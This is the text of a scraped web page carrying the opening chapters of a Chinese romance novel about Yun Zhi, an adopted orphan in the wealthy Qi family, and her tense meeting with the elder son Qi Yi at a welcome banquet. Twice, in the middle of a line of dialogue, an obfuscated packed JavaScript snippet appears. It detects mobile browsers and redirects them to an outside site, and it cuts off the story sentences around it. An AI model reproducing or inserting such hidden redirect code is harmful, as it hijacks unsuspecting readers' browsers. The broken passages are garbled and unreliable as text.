《不夜宴》 1. 仗势 《不夜宴》/司基 晋江文学城正版首发 - 海城入秋晚,一场雨一场寒。 Meridian地处东三环,入夜雾深露重瞧不见月亮,混沌中只剩闪烁摇曳的霓虹珠光。 外面风雨如晦,街道萧条冷清,包厢里却是人声鼎沸,盏盏华灯璀璨,一派热闹的景象。 横在最深处的一扇白色屏风后面,三三两两的年轻面孔正围在桌旁玩麻将。 “祁少今天怎么舍得把小云枳带出来一起玩。” 云枳顶的是祁屿的位置,连点上家三局炮,原先摞了满桌的筹码已然去了大半。 包厢里都是同辈里能叫得上名字的人物,能上牌桌的更是够得到祁屿核心交际圈的名流,个个非富即贵,察言观色是最基本的社交技能。 圈里爱玩的公子哥从来不缺姑娘作陪,但祁屿身边鲜少能见到女人的影子,除了云枳。 明面上云枳是祁家夫妇十几年前发善心在福利院领养的孤儿,可同一屋檐下生活十几年,她几乎和祁屿形影不离,加上从没有人在公开场合听见二人以兄妹相称,早就有传闻说她是祁屿的“童养媳”。 豪门秘辛总是令人好奇,但祁家势大,祁屿的态度始终暧昧不清,没人敢刨根问底,久而久之,两人的关系反而成了人尽皆知的“秘密”。 “小云枳看着不像熟手啊,第一次玩吗?”上家推了牌收了筹码,话是对云枳说的,目光却有意无意往她身后的祁屿身上飘。 “不然呢?”鱼池里波纹四溢,几条燕尾鱼撒欢似的游摆,祁屿捻了捻指尖残留的鱼食,懒懒替她回答,“她和我们不一样,门门考试拿A+的人,时间可不是用在打牌上。” “早说啊,我们也好给小云枳放放水。”上家话音意味深长,“云枳妹妹这么乖这么漂亮就算了,还这么上进,怪不得祁少疼得紧,今天就算云枳妹妹输个精光,祁少肯定也是掏钱不带眨眼的。” 一旁的人闻言都抬头向云枳递去眼神,咳嗽声此起彼伏、笑声耐人寻味,气氛透着一丝吊诡。 自始至终云枳一言未发,眉眼浮着淡笑,温和得滴水不漏。 不过分疏离,也不显得多热切,像压根没察觉这种带了点轻蔑意味的审视。 与其说早已习惯这种场面,不如说从十三年前住进祁家开始,她就切身理解到权利金字塔的森严。 这群人将她捧到话题中心,眼里盯着、心里惦记着的却只有祁家的权势,而她,充其量不过是个受祁屿庇护、连个身份都不用明确给就可以搓圆襟扁的玩物。 做个懂事的花瓶,就是她在这种场合需要做的全部事。 牌局另起,侍应生适时上前递上了热毛巾,祁屿擦完手看了眼时间,随即踱至云枳身侧,替她码齐了牌面。 见祁屿上桌,心情似乎还不错,上家十指龙飞凤舞接着调侃了句:“我可是听说,上个月祁少斥资以小云枳的名义从新西兰买了一匹小马驹,今天来这,该不会是零花钱用完了,想找我们放点血吧?” 云枳的左手已经放在了一张牌上,她没有动,在等祁屿的决定。 祁屿噙了口云枳手边的茶,没说话,眼风扫了眼牌池,按住了她的手腕,下一秒边角最不起眼的一张牌倒了下去。 他对周围的视线视若无睹,亲昵地附在云枳耳边,声音不大不小,“知道我在做什么牌型吗?” 云枳眸底澄澈,像是丝毫不谙牌场世故,很轻地摇摇头,说自己不知道。 一圈过来,还没看清祁屿摸到的是哪张,他已经推倒了面前的牌。 “十三幺。” 对家瞪了瞪眼,唏嘘一声:“自摸十三幺,祁少真来放血啊?” 祁屿勾唇笑笑,直起身拍了拍云枳的后背,又示意发小过来顶缺。 他把筹码往前一推,取过外套,“今晚的消费都算我的,你们慢慢玩,我还有事。” 云枳起身,对着一众人微微颔首算是招呼过,旋即动作自然地牵住祁屿朝她伸出的手。 “受不了,真腻歪。” “祁少是真心宠他这个妹妹。” “什么妹妹,情妹妹吧?” …… 包厢门关闭,隔绝了一方议论。 门童已经提前泊车到会所大门,撑伞过来将钥匙交到祁屿手里,准备先行将他送到驾驶位。 云枳等在原地,略显单薄的穿着此刻被风吹得猎猎作响,轻飘飘的重量宛如一片失重的叶子,似乎一不小心就会被吹离出去。 短短路程往返的功夫,鼻尖就被吹到发红。 她没忍住搓了搓手臂,眼睁睁看着祁屿将外套穿回他自己身上。 真心宠她? 她垂首盯着足尖两秒,讥诮般轻呵一声。 坐进副驾驶关门,云枳拿出手帕要掸身上沾染的雨水,身旁的人忽然开口:“十三幺,去年过年我教你认过一次。” 云枳自动忽略他话里的揶揄,根本不在乎谎言被戳穿,脸上没有太多表情,只问:“我们去哪?” 祁屿侧眸看她一眼,她不笑的时候显得清清冷冷,少了点方才在包厢里知进退的伶俐劲。 他更喜欢后者,因为有种位低的破碎感。 “我以为我不主动说,你能一直忍住不问。”没等云枳系好安全带,他一脚油门,气门声轰隆作响,银灰迈凯伦化作一支势不可挡的利箭破开雨幕。 云枳被迫和座椅行了个贴背礼,她稳了稳身体卡好卡扣,听见导航播报目的地在三十公里外的海城机场。 “去机场?”她蹙了蹙眉。 “大哥一个小时后落地,接风宴在明顿,雨天路上不知道堵不堵。”祁屿扶着方向盘瞥向她,眼底有几分放浪形骸的玩味,“我是不是忘记告诉你了?” 云枳倏地扭头,眼睫轻颤,“你故意的。” “这么多年过去了,你还是一听到大哥的消息就犯怵。”祁屿欣赏着她瞬息万变的神情,口吻愉悦,“你是有什么把柄落在他手里了?” 云枳深吸口气,收回视线,否认:“没有。” 四面八方都是雨点拍在车窗玻璃的声响,她脸偏向窗外,压了压心烦意乱的呼吸,轻着嗓音避重就轻:“你知道的,我一直很怕他。” 听出她的示弱,祁屿意兴阑珊:“大哥这次回来是为了和章家的联姻,在半山邸待不了太久就要搬出去,再说,你俩住处离那么远,大哥又那么忙,就算在家里估计也很难照面。” 云枳没作声,不知道在想什么,映在车窗的一双眸空洞无神。 见她不愿多聊,祁屿也没继续这个话题,又一脚地板油疾驰扎进雨夜。 - 这场雨迟迟没有要歇的意思。 车程过半祁屿接了个电话,云枳靠着座椅听电台闭目养神,没注意打来的人是谁,隐约猜到对面大概是在提醒他雨天起雾视野差,跑车低趴开着不安全,让他先赶往下个目的地。 祁屿打一把方向盘,利落调转了方向。 迈凯伦盘山而上,最终绕过喷泉环岛停在了明顿大门前。 明顿酒店集团是祁家的产业之一,目前国内仅在海城设有一家酒店,同时在曼切斯特设有分店。作为一家超星级娱乐酒店,明顿早已成为海城新地标,它拥有全海城最大的欧式穹顶宴会厅,以及光技术和设备成本就高达千万的私人天文台。 半山半海,是海城观景的最佳地点。 这场接风宴的负责人早早撑伞在喷泉柱旁等候,祁屿刚下车,他便迎上来伸出手:“祁公子。” 祁屿一贯不太喜欢应付这种场面,屈尊降贵地寒暄两句就绕至后备箱翻出了个黑色礼盒递给云枳。 云枳看向他,没伸手。 “昨天拍的一套首饰。今晚章家那位也会到,你要换身打扮。”解释完,祁屿掏出烟盒,不忘提醒她,“距离晚宴开始还有不到一个小时,Sasha在二楼更衣室等你,现在应该很着急。” 得知Sasha在,云枳哽了哽,一阵不祥的预感浮上心头。 果不其然,等她乘电梯上到二楼,远远就看见一个深色西装的年轻女人在更衣室门口来回踱步。 “祖宗,你怎么不等宴会结束再过来!”大约是嫌云枳的步调太慢,Sasha干脆直接推着她往里走。 “把你手上的东西给我。”面对云枳的状况外,Sasha拆开礼盒快速看了眼首饰的款式,只花了几秒思考,就开始指挥员工把挂满各式礼服的衣架呈现在她面前。 “现在没功夫一套一套Fitting,珠宝小屿少爷给你挑了,钻够大够隆重,造型师原来准备的那套礼服不合适,要化繁就简,不然太overdress。” 她边说目光边在架子上逡巡,随手点了两三套。 云枳刚要松口气,以为今天可以稍微躲过一场美丽酷刑,便听Sasha吩咐道:“这几套不合适,撤走,再端几盘配饰过来。大家都动作起来!现在!立刻!马上!” 高定礼服的尺码都较为苛刻,好在云枳盘靓条顺天生衣架子,平日要花费四个小时的妆造硬生生被压缩到四十分钟。 梳妆台前,造型师正在最后为她佩戴那条闪烁火彩的蓝宝石项链。锁扣放下的一瞬,沉甸甸的分量压得云枳几乎要抬不起头。 她垂眸,心里好笑,足够昂贵真的可以让一个人弯下头颅。 Sasha拍了拍手,“babe,回头看我。” 云枳转过头。 漏肩鱼尾长裙轻盈迤逦,宝石点缀在她瓷白的锁骨上,极致的白与蓝,将她一双水眸衬得楚楚动人。 偏偏收腰的设计包裹出她凹凸有致的线条,清纯和妩媚矛盾又和谐的出现在同一幅画面。 水晶吊灯绚烂璀璨,将Sasha眼底一闪而过的惊艳照得清晰。 “四十分钟前,你是个漂亮的littlegirl。”她目光带笑,能看得出对云枳现在的装扮很满意,“但现在,Freya,你美得不可方物。” 云枳啼笑皆非,为Sasha的夸张,也为她热衷把自己当成换装游戏里的小人反复捣鼓这件事。 出门前做最后整理,Sasha盯着她的手腕,语气颇为遗憾:“你真的不戴这只配套的手链吗?虽然知道红绳是你和小屿少爷的定情信物,但偶尔摘下来一次也无伤大雅,就当是为了你的时尚完成度。” “被阿屿看到,他会生气的。”云枳眨眨眼,语气无辜。 Sasha忍不住翻了个白眼,“你总是乖巧过头。” 云枳也不否认,勾唇温柔笑笑,挽着裙边推开更衣室的门。 晚宴是最高规格,宴会厅五层挑高宽阔明亮,四周都沁着冷香,温度、湿度无一不令人舒心。 衣香鬓影,人影绰绰,叠几十层高的香槟塔旁随便抓一个都是说得出身份的人物。 除了政商名流到场,娱乐圈的、艺术时尚界的大咖云集,一路走过来,光是云枳认识的都有好几位女星,个顶个的光鲜亮丽,背景荣誉加身,漂亮是她们身上最不值一提的筹码。 可即便是这样的一群人,也都对今晚的场合趋之若鹜。他们的目标只有一个—— 祁家下任掌权人,祁屹。 这个时段,与会的宾客鲜有缺席。 不会有人在祁屹的接风宴上迟到,除了主角本人。 觥筹交错中,所有人都分出一点精神留意这位准接班人的动向。 他是否已经到达,如果到了,又是人群中的哪一位? 毕竟他二十出头就离开海城接管了祁山集团欧洲分部的所有业务,做事低调很少接受采访,官网资料的公式照也许久没有更新过,若是擦肩而过却认不出来,是要怪他这么多年神龙不见首尾,还是要懊恼自己眼拙? “别着急,吃点东西或者去休息室坐一会,我去联系大哥。” 云枳应了声,挂断祁屿打来的电话。 她一点也不着急,如果可以,她甚至希望那个人永远不要来。 这种天方夜谭的想法转瞬即逝,云枳从甜品台取了块蛋糕,找到角落处的沙发躲懒。 地处偏僻,周围人都忙着游走交际,没人注意到她。 慕斯入口即化,室内交响乐悠扬,抛开不远处几位小姐略显刺耳的谈话声,其余一切都很完美。 “看不见祁家老大,怎么祁屿人也不见踪影?” “阿音,祁屿没来找你吗?你和他的婚事定下来没有?” 被拥簇在正中的女孩身穿淡紫公主散裙,闻言心不在焉地用刀叉戳着蛋糕,“这是大人之间的事,我怎么知道?” 站在她身旁的卷发女急切道:“你不知道?阿音,你要是再这么不上心,祁屿他真要毁了和你的婚约、彻底被云枳那个狐狸精抢走了。” 冷不丁被点名,云枳反应两秒,抬首。 果然是许琉音和她的小跟班们。 她不想多事,准备悄悄离开。 刚起身,那阵八卦声又传到耳朵里。 “你们见过祁屿他大哥吗?听说他这次回来,是为了和章家的联姻。” “章家那个工作狂是怎么得祁屹青眼的?好可惜,这种优质男都没机会流通就要告别市场。” 有人嘁了声,语气酸溜溜的,“你怎么知道优质,你见过?” “祁家基因摆在这里,你看祁屿的条件,他大哥皮囊会差?” 说话的人突然想到什么,压低声音一脸神秘道,“我在伦敦的朋友有一次在健身房见过他, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900879|176623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那身材堪比男模,她那晚回去就做了春梦,醒来发现自己湿得一塌糊涂……” 云枳端着瓷盘的手一颤,沾着奶油的浮雕花纹刀叉落在大理石地面上。 清脆的一声响,并没多大动静,可也许是聊及的话题颇为离经叛道,讲出的话又太露骨,八卦姐妹们瞬间噤声投来目光。 云枳刚要弯腰,猝不及防和脸色涨红的许琉音在半空四目相对。 她像是羞耻,眼底划过心虚,下意识找补,“闭嘴,说的什么乱七八糟的!” 卷发女定了定神认出云枳,立马上前几步,眼神里迸出几分戒备,“你怎么在这里,偷听别人说话很有意思吗?” 云枳知道她来者不善,很轻地叹了口气,干脆地抱歉说:“路过而已,不是有意要听。” 她的息事宁人并没有得到对方的退步,看清她是独自一人,卷发女嘲讽着逼近:“呦,怎么没和祁屿一起,打扮成这样,是又有新目标了?这次准备勾引谁啊?” 没等云枳反应,回过神的许琉音眉头皱了皱,似是不悦,“和她说这么多废话干什么,你很闲啊。” 卷发女回过头,指着云枳表情忿然,“琉音,她脖子上那条蓝宝项链是祁屿昨天拍的那条,成交价七位数,他这样,你就一点不着急吗?” “我有什么好着急的,他眼神不好,又不是我的问题。” 许琉音朝云枳锁骨处打量了眼又很快移开,眸底的惊羡之色短暂得像不存在过,鼻尖溢出声轻哼,“丑死了,小屿哥哥的审美真是一如既往的差劲。” 轻飘飘地丢下这句,许琉音双手环胸,高贵地迈步转身。 小跟班们审时度势,也都学她用鼻孔看人,逞了把威风后便跟着离开。唯独卷发女原地跺了跺脚,一副不肯善罢甘休的模样。 云枳神色未变,只当她不存在,安静蹲下捡起刀叉。 还未直起身,一双漆皮黑玛丽珍小高跟出现在她视野中,紧随其后的,是脖颈皮肤上充斥的凉意。 香槟酒液沿着她的身体线条缓缓滑落,纯白的缎面白裙顷刻洇出酒渍。 卷发女故作惊诧道:“呀,怎么搞成这样,马上晚宴要开始了,你还是赶紧走吧,别在这丢祁家的脸了。” 嘴上这么说,可她满脸得意,仿佛对这种戏耍别人的手段得心应手。 云枳起身,视线直直落向她,停顿两秒,倏然勾唇轻笑,“要是没看错,你身上这条裙子,是许琉音不要的吧。” 卷发女表情瞬间凝固,“你什么意思?” “你千方百计哄着许琉音,好不容易才挤进今天的晚宴。”云枳抬起脸,不答反问,一改方才的谨小慎微,一双眼似寒星,“但我想毁掉你这来之不易的机会,轻而易举。” 话落,云枳干脆地端起一杯酒朝她回泼过去。 卷发女猝不及防,顷刻间被淋了个透。 她整个人不可置信地呆愣在原地,像是压根没想到一向逆来顺受的云枳会选择反击,还是在这场时间这种场合。 “你疯了吗?!” 她狼狈地惊叫一声,嘈杂的动静终于吸引了周遭的注意。 云枳眸光一闪,垂下脸,半边面容隐没在昏暗中。 “我不是故意的。”再抬首,她捏住杯柄,怯生生的,“更衣室还有多余的裙子,我可以带你去换。” 说着,她上前两步,微微躬身附在卷发女耳畔。 举止亲昵,唇角的戏谑却飞逝,“既然你买不起,算我送你的。” 隐秘的窘迫被人戳穿,卷发女来不及细想云枳人前人后截然不同的态度,彻底恼羞成怒: “贱人!谁稀罕你的破裙子!搞搞清楚你仗的是谁的势,你不过是祁家收留的替代品,也不看你够不够格!” 说完,她浑然忘记自己身处何种场合,不管不顾地对着云枳扬起手掌。 云枳精准捕捉到她的动作,脸上一丝一毫的惊慌都没有,更没有要躲的意思。 提前阖眼,微微缩起肩膀,模样要多无辜有多无辜。 她故意激怒对方,算准对方的行径,就是为了这一刻。 可预想中的巴掌迟迟没有落下,隐约中,她鼻尖嗅到些微冷调的木质香。 清冽的沉香绵长,似高纬度的山间清晨,雾的尽头,依旧是虚无缥缈的雾。 云枳倏地睁开眼,耳畔响起一道低沉的嗓音: “仗我的势,够么?” 突如其来的变故让云枳向后趔趄两步,她定了定神,首先看清的,是一颗琥珀色的玉石袖扣。 没有繁复的花纹,低调中透着贵气,衬得上方那只骨节嶙峋的手愈发透出养尊处优的气息。 云枳呼吸滞了滞。 尽管是背对着她,但仅凭男人的声音和散发的气质便能断定,眼前站着的正是她今晚最不想照面的人。 猝然被阻止,卷发女刚要破口大骂,下一秒却被来人目空一切的冷漠钉在原地。 很快就有侍应生上前,毕恭毕敬唤了声“祁先生”。 卷发女反应两秒,像被兜头泼了一盆冷水。 “祁、祁先生?” 还能是哪个祁先生。 卷发女惊惶失措,支吾着,脸都变猪肝色。 “什么人都能随意进出今晚的场合?”祁屹微微抬手,指尖的烟蒂沉入香槟酒液。 滋啦一声熄火,像在杯中炸了一剂哑炮。 明明连个眼神都没给,语调也并未故作冷肃,但整个人透着异常强烈的压迫感。 立马有侍应生走到卷发女身边,礼貌又强硬把她请出了宴会厅。 都知道祁家老大最是护短,就算她满腹委屈,此刻也只能打碎牙齿和血吞。 不过须臾间,注意到这里的视线越来越多。 云枳锁定一个方向,浑水摸鱼准备离开。 下一秒,左手手腕的红绳陡然间被勒紧,施加的力道足以拦下她,但她几乎是下意识想要继续逃离。 “躲我?” 平缓的声调,听不出多余的情绪,但低醇又富有磁性的嗓音钻入耳蜗,云枳不禁开始有些呼吸困难。 “我衣服脏了,要去换一身。”身体上下每根神经都在紧绷着,她甚至忘记转个身做表情管理,“谢谢大哥替我解围。” 匆匆丢下这句话,云枳提裙要走。 “大哥?谁允许你这么叫我?” 祁屹淡漠一笑,松开扯住她红绳的手,步履从容走至她面前拦住她的去路,“演得久了,云小姐未免有些入戏太深。” 云枳背脊一僵,兀地抬眼对上他。 吊灯的光打在男人凌厉的眉弓上,他此刻眼底的傲慢一如他们十三年前的初见: “你姓云不姓祁,记住这一点。” 2. 强权 如果说,几分钟前祁屹的出现让云枳慌张地分不清虚与实,此刻他口吻里的刻薄让她心里仅存的那点侥幸荡然无存。 大脑瞬间冷静下来,她匆匆垂下脸,做错事一般,“我……应该怎么称呼您?” 巧妙又避重就轻的回答,仿佛不久前逞狐假虎威的另有其人。 “云小姐这么聪明,这种问题,应该不需要我亲自为你解答。”祁屹掀起眼皮,不经意地扫她一眼。 少女的面孔犹如一只沾了晨露的小白花,纯洁、美丽,摇摇欲坠。 骨相的清冷和皮相的清纯让她整个人透着很纯粹的天真感,可实际上,她处处透着精致的虚伪,像一株极具迷惑性的罂粟,从头到脚没有一样是真正纯粹的。 他见过太多试图向上攀升的下位者,口中含蜜尾上藏针,为达目的耍尽各种手段,她这些自作聪明的手段委实还不够看。 现在如此,十三年前在福利院的第一面亦是如此。 “那,祁先生?”云枳抬眼望他,小心翼翼地试探道。 祁屹将她的讨好看在眼里,嘲弄加深,却没说话。 他拦下那巴掌,保全的是祁家的颜面,现在说这些,不过是提点警示她两句,并没有规训的意思。 每天在他面前装模作样的人太多,他耐心有限,没兴趣也没必要去约束一个外姓人的品行。 “你可以走了。”祁屹接过侍者递来的酒,语气淡淡,“希望这是最后一次看见你耍这些上不得台面的伎俩。” 他的音量不高,话音称得上漫不经心,可即便如此,也带着长久俯视滋生出的倨傲与威严。 方才的闹剧,云枳不确定他目睹了多少。 她并不指望祁屹能屈高就下共情她的处境,可就这么直面他不加修饰的鄙夷,云枳有种近乎赤.裸的狼狈感。 住进祁家以来,她花了很久的时间学会曲意逢迎,可在真正的强权面前,她的聪明玲珑似乎脆弱得不堪一击。 “哥。” 好在祁屿从人群中喊了声,像是掐准时机,打断了这段意料外的对峙。 二人许久未见,拍肩拥抱,云枳亲眼看见祁屹那双狭长而深沉的眼里多了点温度,冲淡了不久前全然的冷漠。 他一身黑西装,五官冷峻身材颀长,气度本就震慑全场,此刻身份被正式揭晓,原先没敢贸然寒暄的宾客立即捧着酒杯蜂拥而上,心甘情愿做他的拥趸。 而她这个局外人,此刻被丢进垃圾桶都是多余。 云枳识趣地退到了人群最外围,大雨密不透风地笼罩着这座华贵的建筑,雨声沉闷而遥远,她提着的一口气终于缓缓松懈。 等完全回过神,才惊觉背后已经出了一片冷汗,和浸湿她的香槟酒液黏腻腻地混在一起。 云枳,瞧你这点出息。 她在心里唾弃自己。 祁屿不知何时从拥簇中脱身,众目睽睽之下停在云枳身边揽住她的肩,眉眼含着一抹放荡不羁的薄笑,“怎么样,我来得够不够及时?” 云枳很浅地拧了拧眉,“你刚才去哪了?” “妹妹,我听出来了,你的怨气很大啊。”祁屿不急不躁,一张俊朗的面孔靠近她耳畔,“大哥又怎么为难你了?” 云枳知晓他喜欢看她吃瘪的恶趣味,懒得解释太多,微微挣扎了下,想要躲开他,“我裙子湿了,你离我远点。” “别乱动。” 祁屿丝毫没有抽离的意思,手臂甚至收紧了些,“大哥在看,你乖一点。” 云枳一瞬间像被按了静止键。 她下意识想确认,又不敢回头看,身体呈现出一丝滑稽的僵硬感。 祁屿唇角的弧度放大,直到没忍住笑出声。在这种场合,他的笑算得上放肆,有种恶作剧成功的乖张,“骗你的,就你这点出息。” “……” 云枳冷冷看他一眼,“松手。” 祁屿敛了笑,抵唇清了清嗓,正色道:“不闹了,走,陪你换衣服。” 自始至终扶着云枳肩头的右手纹丝未动,袖口下落,他手腕上那截红绳挨在一片瓷白的皮肤上,显得格外醒目。 两人的背影逐渐在拐角消失。 秦霄端着酒杯过来时,顺着祁屹视线的方向睇了眼,“怎么?” 祁屹移开目光,抬手迎他的酒杯。面对好友,积聚在他眉心黑压压的阴云才散了散,“没事。” 明潮暗涌中,没有碰杯,也没有一句“好久不见”的寒暄,但彼此默契地同时一饮而尽。 不多时,众多的二流富商们自发聚集行成行业信息交流的场域。 国际局势,资源战争,最近谁进行了哪一轮融资,又有哪家企业上市敲钟,高抛低吸囤积筹码,人人都具备敏锐的嗅觉和狠厉的决策,人人都是掌握规则的操盘手。 可他们的余光都不约而同往中心方向看过去,似乎在等待那个制定规则或者说就是规则本身的人是否有兴致为他们提点一二。 毕竟再尖端的科技集团也可能只是oldmoney产业链的一部分,祁山经历多个时代的时局动荡才完成的原始积累,其底蕴可谓是真正的深不见底。 而此刻能掌握生杀予夺的人,听得多说得少,偶尔点头附和,外表看起来并不失体面,不过秦霄还是察觉出他眼底的一丝倦怠。 庞巴迪global7500是私人公务机领域的佼佼者,无论航行能力还是乘坐舒适性都无可挑剔,但从太平洋彼岸直飞海城,结束十几个小时的飞行再陡然面对温差和气候变化,再铁打的人多少都会有些吃不消。 秦霄抖出根烟扔过去,低声道:“出去透口气。” 祁屹起身,扣上西服纽扣,对着面前的一众人说了句“失陪”。 海岸晚潮起落,如晦的风雨中偶尔掀起半米高的激浪,停靠的游艇泊位不稳,在席卷中摇摇晃晃。 露台角度朝南,一阵风过,断线的雨被吹得飘进来,空气愈发湿冷。 秦霄递火过去,“飞行中就敲定了科森的收购协议,这次回来,打算长待?” 科森医疗于八年前成立,总部地点就在海城,作为一家上市医疗公司,科森致力于开发基于微创手术技术的新产品,在创新医疗领域深耕数载,掌握行业核心技术。 多家企业曾向科森表达过收购意向,但它唯独只接下了祁山抛去的橄榄枝。 祁屹半夹着烟在掌心磕了磕,咬起来蹙着眉心低头去碰火。 漆黑中火光明灭,光影将他的面部轮廓线条衬得清晰利落。 一言不发抽了几口,这才懒懒道:“总不能是回来休假。” 自常青藤顶级院校毕业的第一年就上任祁山集团欧洲分部,全线股价升高十个点是祁老爷子给他立下的军令状,也让他成功拿到海城总部的入场券。 而这次受邀海城地方政府联合开发创新医疗版块、控股科森的最新收购动作,就是他正式开始接管数千亿商业帝国的新王加冕仪式。 这么多年,工作早就像呼吸一样成了祁屹生活里最稀松平常的部分。 “你也该给自己放个长假。”秦霄吁一口,点到即止,“小屿年纪不小了。” “指望他?”祁屹淡笑了下,“不如把他那一屋子模型砸了来得痛快。” 秦霄:“别人争家产争到六亲不认,你们祁姓兄弟倒是一股清流。” “他有他的理想,不必要给他徒增压力。”烟雾弥漫过祁屹幽邃的眼眸,他探出手臂掸了掸烟灰,口吻平淡,“蒋女士这么多年没变过的生日愿望之一,就是希望小屿能够自由。” 自由。 对他们这样的人而言,这种东西更多时候是空中楼阁。 秦霄没深入,换了话题,“既然这次回来长待,你一向怕冷,怎么不等开春?” 顿了顿,“气象台刚发了寒潮预警,也不着急这两三个月。” 祁屹很轻微地挑了挑眉头,“谁说我怕冷?” 秦霄:“……” “我不是怕冷,阿宵,”祁屹面无表情吐出一口白烟,“我只是单纯不喜冬天。” 尤其是冷冬的下雪天。 潮湿的水汽,厌恶的体感。 大雪覆盖,浓郁的白色旋涡,白到漆黑,白到时间都静止。 鲜少能从好友嘴里听到这样涉及喜恶的话,秦霄沉默片刻,不知道是想到了什么,侧眸看了身旁的人一眼,缓缓敛了神色。 夜幕低垂,一方空间只剩帷幔飘动,但这份静谧没持续太久。 “你们可真会躲清静。” 祁屿大步流星走过来,先是热络叫了声“宵哥”,随即和祁屹交换了个视线。 “我和小枳找你们半天了。”他边说边挥了挥空气里的烟雾,“小枳闻不了烟味,你俩把烟灭了。” 姗姗而至的云枳:“……” “我没事的。”她视线略过那道存在感极强的身影,落在他一旁的秦霄身上。 虽然这人长了张扑克脸,看起来不太好相处的样子,但他几次作为海大客座教授讲课的时候倒还算得上耐心。 云枳出于礼貌,微笑着道:“秦霄哥哥好。” 她换了一身鎏金粉缎面礼裙,相较不久前被弄脏的一套,这件露肤度高,设计颇为大胆,剪裁更加贴合她极佳的腰臀比。 秦霄惜字如金,“你好。” 祁屹神色没有变化,眉心却几不可查地微蹙了下。 祁屿对二人的熟稔并不奇怪,转头问:“大嫂呢?都这个点了,她是不打算来了吗?” “是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900880|176623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她告诉你今晚要来?” “没有啊,但是今晚——” 祁屹没什么耐心地打断他,“那这个问题你应该问她,而不是问我。” “……” “与其操心这些事,外面这么冷,不如关心一下你的小女友是否需要一件外套。” 祁屹目不斜视,将烟蒂摁灭在装满砂石的烟灰缸里,低沉的口吻一如既往,“回半山之后来一趟我书房。” 丢下这句话,他头也不回地抬腿迈向宴会厅。秦霄对着二人微微颔了颔首,大步紧随其后。 望着两人远去的背影,祁屿满脸莫名,“我问什么问,不是他未婚妻吗?” “讲话这么呛人,谁惹到他了?” 云枳在心里冷笑,他不会好好说话也不是第一天了。 “这种时候让我去书房找他,肯定没什么好事。”祁屿半开玩笑瞥她一眼,“该不会是棒打鸳鸯,要我和你分手吧?” 祁屿ig贴过云枳的照片,有她单人的也有他们的合照。祁屹并不玩社交软件,但知道他们关系这件事一点也不足为奇。 云枳:“你去他书房之前,可以让张妈先备一碗降火茶。” 祁屿被她的冷幽默逗笑,忽然想到什么,捏住她的脸,“忘记问了,你要我的外套吗?” 云枳拍开他的手,目露惊恐,“你吃错药了?” 昏暗中,她脸上的这一抹生动消失得飞快。 祁屿唇角弧度放大,没再说话。 羽管键琴演奏到巴赫B小调时,晚宴已临近尾声。 留宿还是需要泊车,散场前宾客疏散进行得有条不紊,明顿一众pr们西装笔挺,锃亮的皮鞋,得体的高档香水,无论是形象还是服务都足够赏心悦目。 几人都沾了酒,礼宾提前泊好车,将车钥匙交给了司机。 风和雨势都半点不见小,一夜数不清要拍落多少木槿和秋海棠。 从室内往外走,祁屿无视云枳拒绝,强硬地给她披上了自己的外套。他牢牢搂住云枳的肩膀,撑伞和她共乘。 俊男靓女,亲密无间,画面在冷色调的雨夜异常扎眼。 “云枳是我同专业后辈,我们之前在海大见过几次面。” 祁屹单手插兜,另一只手挽着明顿主理人亲自给他送来的黑色翻领廓形风衣。 身后,是接电话慢了几步的秦霄。他缓缓走上前,冷不丁解释这么一句。 祁屹神色无澜,一言未发。 “她的成绩很亮眼,人也很谦逊,她的教授非常喜欢她。” 祁屹依旧没有搭腔,挺拔的身形仿佛一尊入定的雕塑。 知道他是不容易被说服的性格,秦霄略作思考,换了个说法:“你不在的这几年,小屿和她的感情很好,也很稳定。” 他顿顿,补充,“为了她,小屿大概率会拒绝他和许家的联姻。” 祁屹终于扭过头,乜了他一眼,“是小屿拜托你来我这里当说客?” “并没有。”秦霄强调一遍,“我说的都是客观事实。” 十几年的交情,秦霄不难察觉素来不喜形于色的祁屹唯独对云枳多了分说不清道不明的反感。 他并非是习惯苛待周围人的个性,更遑论云枳是祁家夫妇亲自领进门的养女。就算他不承认云枳的身份,也不至于吝啬到这点表面关系都不能维持,甚至对她产生偏见。 他可以不关心,不记得,唯独不该是厌恶。 这种情绪对他而言太低效,是种麻烦,完全违背他的行事准则。 偶尔,秦霄也会有些看不懂自己这位好友。 “事实就是,她在你面前当兔子,不妨碍她在别人面前当狼。” 他一副不愿多谈的表情,“能让小屿为她放弃联姻,就足以见得她还是胃口最大的那只狼。” 秦霄欲言又止,最后选择了沉默。 祁屹盖棺定论,“即便在祁家生活了十几年,她骨子里那股虚伪又穷酸的烙印,也难以洗清。” 低沉的尾音在哗然雨声中消散,不远处迈凯伦旁的黑色伞沿轻微上抬。 成排的水珠滴落,一双杏眼穿过雨幕误打误撞闯了过来。 极短促的一瞬,她眸底清幽的锋芒被仓皇失措取而代之,沾染在睫毛上的细小水珠微微颤动,仿佛在为自己冒失的一眼而惊慌。 遥遥对视,混沌的雨雾水汽弥漫。 粘稠、湿冷,仿佛要入侵每一个毛孔。 她的刻意示弱,在雨和雨的间隙中无限放大。 祁屹睥睨着闯入者的惺惺作态,幽深寂静的眸底流露出一分比夜色更为深重的厌恶。 他目光如有实质地锁定她,忽然冷笑一声:“我倒想看看,这样人前人后两副面孔,她到底还能维持多久。” 3. 审美 昨晚回到半山已是深夜,心里装着事,云枳拢共没睡几个小时,一大清早就让司机送她去了学校。 